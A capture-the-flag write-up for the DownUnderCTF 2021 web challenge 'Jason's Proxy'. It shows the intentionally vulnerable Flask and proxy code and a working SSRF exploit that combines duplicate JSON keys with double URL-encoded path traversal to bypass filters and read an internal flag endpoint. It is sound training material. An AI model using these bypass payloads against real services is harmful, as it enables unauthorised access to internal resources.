Contents

[DownUnderCTF 2021] Jason's Proxy Write-up

Challenge Info

Description: NotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:)

Category: Web

Difficulty: Hard

Author: xesh

Challenge Link: https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jasons_proxy

The Challenge

Upon loading the challenge application, we’re presented with a basic front-page with a few images and a link stating that the flag will be located at /admin/flag. Attempting to browse to this page directly results in a standard Unauthorisedresponse as shown below.

1
2
3
4
5
6
7
8
HTTP/1.1 401 UNAUTHORIZED
Server: gunicorn
Date: Tue, 25 Jan 2022 11:13:33 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13

Unauthorized.

Reviewing the initial traffic from the application does reveal some interesting functionality however. It appears the images on the homepage are being loaded via some kind of proxy, an example request is shown below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /jason_loader HTTP/1.1
Host: target.host
Content-Length: 58
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLzIucG5n"}

Decoding the Base64 string in the img parameter reveals that the application is loading the images from another internal web service at http://127.0.0.1/static/images/2.png. However, simply placing http://127.0.0.1/admin/flag Base64 encoded in the img parameter doesn’t work and we’re presented with a 500 Internal Server Error.

Reading the code

Alongside the application itself, we’re also provided with two python scripts, app.py and proxy.py. With proxy.py containing code for the web service retrieving the images and app.py being the code for the Flask web-service we’re directly interacting with.

Below is the code for app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3

import os
from requests import get
from base64 import b64encode, b64decode
from flask import Flask, request, render_template

app = Flask(__name__)

class JSON(object):
	def __init__(self):
		self.forbidden = ["'","\"","{","}","[","]",",","(",")","\\",";","%"]
		self.checked = []

	def _forbidden_chk(self, key, value):
		chk = False
		for bad in self.forbidden:
			if bad in key:
				chk = True
				break
			if bad in value:
				chk = True
				break
		return chk

	def _checked(self, key):
		chk = True
		if key in self.checked:
			chk = False
		return chk

	def _security(self, key, value):
		chk = False
		if not self._checked(key):
			return chk
		if self._forbidden_chk(key, value):
			chk = True
		if key == "img":
			value = b64decode(bytes(value,'utf-8')).decode()
			if self._forbidden_chk(key, value):
				chk = True
		if chk == False:
			self.checked.append(key)
		return chk

	def parse(self, data):
		parsed_data =  [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')]
		built_data = {}
		for obj in parsed_data:
			if len(obj) < 2 or self._security(obj[0], obj[1]):
				return "Jasons Secure JSON Parsing Blocked Your Request"
			if obj[0] == "img":
				obj[1] = b64decode(bytes(obj[1],'utf-8')).decode()
			built_data[obj[0]] = obj[1]
		return built_data
		
def get_as_b64(img):
	try:
		if img.startswith('http://127.0.0.1/static/images/'):
			return b64encode(get("http://127.0.0.1:9097/"+img).content).decode()
		return None
	except Exception as e:
		return None

@app.route('/')
def _index():
	return render_template('index.html')


@app.route('/jason_loader', methods=['POST'])
def _app_jason_loader():
	if request.headers.get('Content-Type') != 'application/json':
		return '{"error": "invalid content type"}', 400
	json = JSON()
	pdata = json.parse(request.data)
	if type(pdata) == str:
		return "{\"error\": \""+pdata+"\"}"
	img = pdata.get('img')
	if not img:
		return "{\"error\": \"Jasons JSON Security Module Triggered\"}"
	imgdata = '{"imagedata": "' + get_as_b64(img) + '"}' 
	return imgdata, 200

@app.route('/admin/flag')
def _flag():
	if request.remote_addr != "127.0.0.1":
		return "Unauthorized.", 401
	return str(os.environ.get('FLAG')), 200


if __name__ == "__main__":
	app.run(host='0.0.0.0',port=80,debug=False)

Below is the code for proxy.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3

import os
import socketserver
import urllib.request
from os.path import abspath
from http.server import SimpleHTTPRequestHandler
from urllib.parse import unquote, urlparse, urljoin

PORT = 9097

whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"]
blacklist = ["admin","flag"]
remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"]

def waf(url):
	resp = unquote(url)
	whitelist_check = False
	for uri in whitelist:
		if resp.lower().startswith(uri):
			whitelist_check = uri
			break
	if whitelist_check == False:
		return None
	for forbidden in blacklist:
		if forbidden in resp.lower():
			return None
	for badstr in remove_list:
		resp = resp.replace(badstr,"BLOCKEDBY1337WAF")
	resp = urlparse(resp)
	resp = unquote(abspath(resp.path))
	return urljoin(whitelist_check,resp)

class CDNProxy(SimpleHTTPRequestHandler):
	def do_GET(self):
		url = self.path[1:]
		print(self.headers)
		self.send_response(200)
		self.send_header("X-CDN","CDN-1337")
		self.end_headers()
		waf_result = waf(url)
		if waf_result:
			self.copyfile(urllib.request.urlopen(waf_result), self.wfile)
		else:
			self.wfile.write(bytes("1337 WAF blocked your request","utf-8"))

httpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy)
print("Now serving at " + str(PORT))
httpd.serve_forever()

The first thing that stood out to me in this challenge is the presence of a custom JSON class and parser in app.py, this is very non-sandard given python already has established libraries for parsing JSON, so this is likely where a bug or bugs lay.

Reviewing the code for the suspicious route reveals the following.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@app.route('/jason_loader', methods=['POST'])
def _app_jason_loader():
	if request.headers.get('Content-Type') != 'application/json':
		return '{"error": "invalid content type"}', 400
	json = JSON()
	pdata = json.parse(request.data)
	if type(pdata) == str:
		return "{\"error\": \""+pdata+"\"}"
	img = pdata.get('img')
	if not img:
		return "{\"error\": \"Jasons JSON Security Module Triggered\"}"
	imgdata = '{"imagedata": "' + get_as_b64(img) + '"}' 
	return imgdata, 200`

To break this down, the conditions we need to meet are

  • Content-Type header must be present with the contents application/json,
  • The data type of our JSON value must be a string.
  • img must not be empty.

Reviewing the parsing function below, there doesn’t appear to be any checking or functionality to deal with duplicate key values which could potentially lead to issues. Also, noting that the returned built_data is a dict, it will be restricted to having only one key-value pair for each key.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def parse(self, data):
    parsed_data =  [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')]
    built_data = {}
    for obj in parsed_data:
        if len(obj) < 2 or self._security(obj[0], obj[1]):
            return "Jasons Secure JSON Parsing Blocked Your Request"
        if obj[0] == "img":
            obj[1] = b64decode(bytes(obj[1],'utf-8')).decode()
        built_data[obj[0]] = obj[1]
    return built_data

The second issue is within how the _security and _checked functions work. Reviewing the JSON class we can see that self.checked is initiated as a list (self.checked = []), and within the _checked function, we can see that it checks this list to see if the key-value pair has already been checked for malicious input.

1
2
3
4
5
def _checked(self, key):
    chk = True
    if key in self.checked:
        chk = False
    return chk

As we can see in the _security function, as expected this check is performed prior to any security checks.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def _security(self, key, value):
    chk = False
    if not self._checked(key):
        return chk
    if self._forbidden_chk(key, value):
        chk = True
    if key == "img":
        value = b64decode(bytes(value,'utf-8')).decode()
        if self._forbidden_chk(key, value):
            chk = True
    if chk == False:
        self.checked.append(key)
    return chk

So with these two issues, in theory, we should be able to provide a malformed JSON request with two img key-value pairs, the first containing a normal and safe URL, and the second containing our weaponised URL, which will not go through any of the implemented security checks which are blocking the following characters ' " { } [ ] , ( ) \ ; %.

Next, reviewing the proxy.py code, it seems there are more WAF rules we need to bypass in order to read the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"]
blacklist = ["admin","flag"]
remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"]

def waf(url):
	resp = unquote(url)
	whitelist_check = False
	for uri in whitelist:
		if resp.lower().startswith(uri):
			whitelist_check = uri
			break
	if whitelist_check == False:
		return None
	for forbidden in blacklist:
		if forbidden in resp.lower():
			return None
	for badstr in remove_list:
		resp = resp.replace(badstr,"BLOCKEDBY1337WAF")
	resp = urlparse(resp)
	resp = unquote(abspath(resp.path))
	return urljoin(whitelist_check,resp)

Based on this function we determine we need to meet the following conditions:

  • Our URL must begin with either http://127.0.0.1/static/images/ or http://localhost/static/images/
  • The strings admin and flag cannot be in the URL
  • The strings defined in the remove_list cannot be in the URL.

Considerations:

  • The URL is ran through unquote before processing, this function decodes all URL-encoded characters.
  • We can’t use the remove_list strings to bypass the blacklist as the bad words are replaced with a different string.
  • The URL is ran through unquote again at the end of the function.

The solution

We’re able to bypass the second set of WAF rules put in place in the proxy layer by double URL-encoding our payload ../../admin/flag, this is only possible due the use of two unquotes in the waf function.

Our final payload is below, with the second img value decoding to: http://127.0.0.1/static/images/%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /jason_loader HTTP/1.1
Host: target.host
Content-Length: 303
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLzEucG5n","img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLyUyNSUzMiU2NSUyNSUzMiU2NSUyNSUzMiU2NiUyNSUzMiU2NSUyNSUzMiU2NSUyNSUzMiU2NiUyNSUzNiUzMSUyNSUzNiUzNCUyNSUzNiU2NCUyNSUzNiUzOSUyNSUzNiU2NSUyNSUzMiU2NiUyNSUzNiUzNiUyNSUzNiU2MyUyNSUzNiUzMSUyNSUzNiUzNw=="}

Which responds with the below response, which once decoded reveals the flag DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx}.

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: gunicorn
Date: Tue, 25 Jan 2022 12:07:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 97

{"imagedata": "RFVDVEZ7ZDB1YmwzX2pzMG5fZDB1YmwzX1VSSV9yMXBfajRzMG41X3A0dGhfdzF0aF9iMWdfaDR4eH0="}